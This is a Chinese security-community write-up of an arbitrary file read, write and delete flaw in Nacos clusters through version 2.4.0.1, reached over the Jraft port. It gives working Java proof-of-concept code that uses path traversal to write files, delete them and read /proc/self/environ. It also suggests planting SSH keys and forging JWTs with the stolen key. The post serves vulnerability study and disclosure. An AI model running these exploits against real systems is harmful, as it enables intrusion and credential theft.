奇安信攻防社区-Nacos

Nacos <=2.4.0.1 任意文件读写删

在Nacos<=2.4.0.1版本中集群模式启动下存在名为naming_persistent_service的Group，该Group所使用的Processor为com.alibaba.nacos.naming.consistency.persistent.impl.PersistentServiceProcessor类型Processor，在进行处理过程中会触发其父类`onApply`或`onRequest`方法,这两个方法会分别造成任意文件写入删除和任意文件读取

Nacos &lt;=2.4.0.1 任意文件读写删
==========================

前言
--

在Nacos&lt;=2.4.0.1版本中集群模式启动下存在名为naming\_persistent\_service的Group，该Group所使用的Processor为com.alibaba.nacos.naming.consistency.persistent.impl.PersistentServiceProcessor类型Processor，在进行处理过程中会触发其父类`onApply`或`onRequest`方法,这两个方法会分别造成任意文件写入删除和任意文件读取

官方社区公告：<https://nacos.io/blog/announcement-nacos-security-problem-file/>

漏洞出现在Jraft服务（默认值7848）

环境搭建
----

docker搭建集群参考：<https://github.com/nacos-group/nacos-docker>

![image-20240827195607983](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ecc67389306fe79179632e5b8689fb4f668723af.png)

漏洞分析
----

这个漏洞的原理和之前的Nacos Hessian 反序列化漏洞差不多，但是没这么复杂

这里只说重点，请求包的构造参考之前的Nacos Hessian 反序列化漏洞

当nacos以集群模式启动时，存在一个名为naming\_persistent\_service的Group

![image-20240827200406801](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-757d1e5978f1ede82cbcadc3648a26143392bec0.png)

注意，此时的leader为nacos2:7848,这个会变的，在Nacos Hessian 反序列化漏洞的调试中知道，只有leader节点才会进行后续的操作。

![image-20240827201903478](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-570df49264c4d784c3b815c5727331228835acc5.png)

在调试分析这个漏洞的过程中发现，在向leader发包后，下一次，leader就会变为其他节点。反正就是naming\_persistent\_service下的leader是哪个，就向哪个节点发送请求即可，不需要重启

请求的处理过程，不多bb了，参考Nacos Hessian 反序列化漏洞

调用栈如下：

```php
onApply:159, BasePersistentServiceProcessor (com.alibaba.nacos.naming.consistency.persistent.impl)  
onApply:122, NacosStateMachine (com.alibaba.nacos.core.distributed.raft)  
doApplyTasks:597, FSMCallerImpl (com.alipay.sofa.jraft.core)  
doCommitted:561, FSMCallerImpl (com.alipay.sofa.jraft.core)  
runApplyTask:467, FSMCallerImpl (com.alipay.sofa.jraft.core)  
access$100:73, FSMCallerImpl (com.alipay.sofa.jraft.core)  
onEvent:150, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)  
onEvent:142, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)  
run:137, BatchEventProcessor (com.lmax.disruptor)  
run:750, Thread (java.lang)
```

### 任意文件写入

来到BasePersistentServiceProcessor#onApply

![image-20240827202659349](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9f017c877ca9c3894c80cfbaa83e7ff68fb8fb5e.png)

首先对传入的data进行反序列化为一个BatchWriteRequest对象，然后再获取操作op进入不同的方法处理，如果op=="Write"则进入NamingKvStorage#batchPut

![image-20240827203242594](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-595b64ad4399d6cd7799b59b89e3c3b10fe9ee84.png)

这里只是简单的遍历一下列表，然后就丢给put方法处理

![image-20240827203504025](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3e1e01c4ca831c2a031206cc5f609e19bd80df21.png)

this.getStorage()只是返回一个KvStorage对象，然后进入KvStorage#put

![image-20240827203657796](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-61a8c86632485f564253642f7dd24b16bd5ec62d.png)

这里一目了然了，而且参数可控，需要注意的是这个this.baseDir的当前目录为`/home/nacos/data/naming/data`，可以目录穿越

![image-20240827203751445](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d99abc02c93145c5f0cf8ca4bfc180566905add7.png)

回到BasePersistentServiceProcessor#onApply，构造数据

![image-20240827202659349](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9f017c877ca9c3894c80cfbaa83e7ff68fb8fb5e.png)

需要一个BatchWriteRequest对象，并序列化

调试发现，这个序列化和反序列化是由com.alibaba.nacos.consistency.serialize.JacksonSerializer()进行的

而不是之前常用的那个，所以构造如下：

```java
BatchWriteRequest request = new BatchWriteRequest();  
request.append("1.txt".getBytes(), "aaaa\n".getBytes());  
JacksonSerializer serializer = new JacksonSerializer();  
send(address, serializer.serialize(request));//发送数据
```

op的控制就简单了，在构造WriteRequest对象时候，加一个setOperation("Write")即可，send方法是发送请求，参考[Y4er](https://y4er.com/posts/nacos-hessian-rce/)写的，复制+修改

![image-20240827205015479](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-bbc779562661952c87c36a07b22d9e67faad9745.png)

POC:

```java
public static void send(String addr, byte[] payload) throws Exception {  
    Configuration conf = new Configuration();  
    conf.parse(addr);  
    RouteTable.getInstance().updateConfiguration("nacos", conf);  
    CliClientServiceImpl cliClientService = new CliClientServiceImpl();  
    cliClientService.init(new CliOptions());  
    RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();  
    PeerId leader = PeerId.parsePeer(addr);  
    Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");  
    parserClasses.setAccessible(true);  
    ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());  
    map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());  
    MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());  
    final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).setOperation("Write").build();  
    Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);  
    System.out.println(o);  
}  
  
public static void main(String[] args) throws Exception {  
        String address = "192.168.3.153:7848";  
        BatchWriteRequest request = new BatchWriteRequest();  
        request.append("1.txt".getBytes(), "aaaa\n".getBytes());//向/home/nacos/data/naming/data/1.txt写入aaaa  
        JacksonSerializer serializer = new JacksonSerializer();  
        send(address, serializer.serialize(request));  
  
    }
```

这个漏洞的利用，目前只能想到再开启22端口的情况下写ssh公钥，然后连接

### 任意文件删除

再回到BasePersistentServiceProcessor#onApply，如果op==Delete是不是就可以删除任意文件了？跟一下

![image-20240827202659349](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9f017c877ca9c3894c80cfbaa83e7ff68fb8fb5e.png)

根据batchDelete，来到NamingKvStorage的batchDelete

![image-20240827210101377](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3d8d21f95cd9bc1e3509682c9e39115c88e564ce.png)

继续跟进delete()

![image-20240827210157100](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-1844c5e20034b49943edc3e089391133b0106179.png)

这里的delete再跟进，也是一目了然，

![image-20240827210403659](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-821e7db9314e45995c42fdd61a58638e2e9697c5.png)

![image-20240827210440316](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9134505c251d25f71e92263ccffb6fd2d58e6ed9.png)

这个POC和上面任意文件写入的一样，只有把.setOperation("Write")改为.setOperation("Delete")即可

### 任意文件读取

前面的poc发送的数据都是构造WriteRequest对象发送，读取文件，需要的是ReadRequest

在处理请求的过程中，如果是ReadRequest则会调用该Group所使用的Processor的onRequest方法

![image-20240827211444921](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9b166772614f79318154ba30f97c123d3c105803.png)

因为Group为naming\_persistent\_service，还是BasePersistentServiceProcessor处理，来到BasePersistentServiceProcessor的onRequest方法

![image-20240827211853487](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-206f3dedb9e534c3d451ef6ed4f5f5561f24bcab.png)

处理的套路和前面的差不多，将数据反序列化为List后丢给NamingKvStorage#batchGet处理

![image-20240827212042498](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-e515a471178aedd41ce6b2abfb7f84e35ad161f9.png)

这里也是变量，然后丢给get处理，跟进

![image-20240827212234178](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d75223b87f961b263fe6adeb087475976f1f5220.png)

又是这个storage，再跟进

![image-20240827212313065](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-06ed8780284b3bd092ff438e1ff678d3467fcf70.png)

再这个get方法中，如果文件存在，则读取，并返回读取的内容，返回到onRequest,通过response发送到客户端

POC:

```java
public static void send2(String addr, byte[] payload) throws Exception {  
    Configuration conf = new Configuration();  
    conf.parse(addr);  
    RouteTable.getInstance().updateConfiguration("nacos", conf);  
    CliClientServiceImpl cliClientService = new CliClientServiceImpl();  
    cliClientService.init(new CliOptions());  
    RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();  
    PeerId leader = PeerId.parsePeer(addr);  
    Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");  
    parserClasses.setAccessible(true);  
    ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());  
    map.put("com.alibaba.nacos.consistency.entity.ReadRequest", ReadRequest.getDefaultInstance());  
    MarshallerHelper.registerRespInstance(ReadRequest.class.getName(), ReadRequest.getDefaultInstance());  
    final ReadRequest readRequest = ReadRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).build();  
    Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), readRequest, 5000);  
    System.out.println(o);  
}  
public static void main(String[] args) throws Exception {  
        bypass();  
        String address = "192.168.3.153:7848";  
  
        JacksonSerializer serializer = new JacksonSerializer();  
        List byteArrayList = Arrays.asList("../../../../../../proc/self/environ".getBytes());  
        send2(address, serializer.serialize(byteArrayList));  
  
    }
```

文件读取可以读取环境变量获取jwt key伪造凭据，读取配置文件获取敏感信息

漏洞复现
----

任意文件写入：写入pwn.txt

![image-20240827224207676](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ed0a1f64c682e4976fbdf29852609d184a5cf90a.png)

任意文件删除：删除掉刚刚写入的pwn.txt

![image-20240827224354190](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-714681eb01fa1b598fc58e60e70d2f97d590cc81.png)

任意文件读取：读取/proc/self/environ环境变量

![image-20240827224619150](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3ab45294003ff1c1ec5d71b7f3648c5a879c153f.png)

其中keys是文件名，values是文件内容，base64解码

![image-20240827224753456](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-712a1acd27157117a41da2443ff98c69c3fd63a4.png)

文件内容：

![image-20240827224853309](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-6628b78a1538fc813694edfcc74644d78a686a44.png)

参考
--

[https://mp.weixin.qq.com/s/EzMaG3u-lcBnVbPYebP\_Ag](https://mp.weixin.qq.com/s/EzMaG3u-lcBnVbPYebP_Ag)

<https://y4er.com/posts/nacos-hessian-rce/>

发表于 2024-08-28 10:19:06
阅读 ( 5357 )
分类：Web应用

1 条评论

FOFO 1秒前

idea直接运行poc能成功执行。打包成jar后就报错。看错误是因为grpc没建立连接，而idea中运行的grpc状态为READY。 [main] INFO com.alipay.sofa.jraft.rpc.impl.GrpcClient - Creating new channel to: 192.168.1.144:7848. [main] INFO com.alipay.sofa.jraft.rpc.impl.GrpcClient - The channel 192.168.1.144:7848 is in state: CONNECTING. [grpc-nio-worker-ELG-1-2] INFO com.alipay.sofa.jraft.rpc.impl.GrpcClient - The channel 192.168.1.144:7848 is in state: TRANSIENT_FAILURE. [grpc-nio-worker-ELG-1-2] WARN com.alipay.sofa.jraft.rpc.impl.GrpcClient - There has been some transient failure on this channel 192.168.1.144:7848. [main] ERROR com.alipay.sofa.jraft.rpc.impl.AbstractClientService - Fail to connect 192.168.1.144:7848, remoting exception: java.util.concurrent.ExecutionException: io.grpc.StatusRuntimeException: UNKNOWN.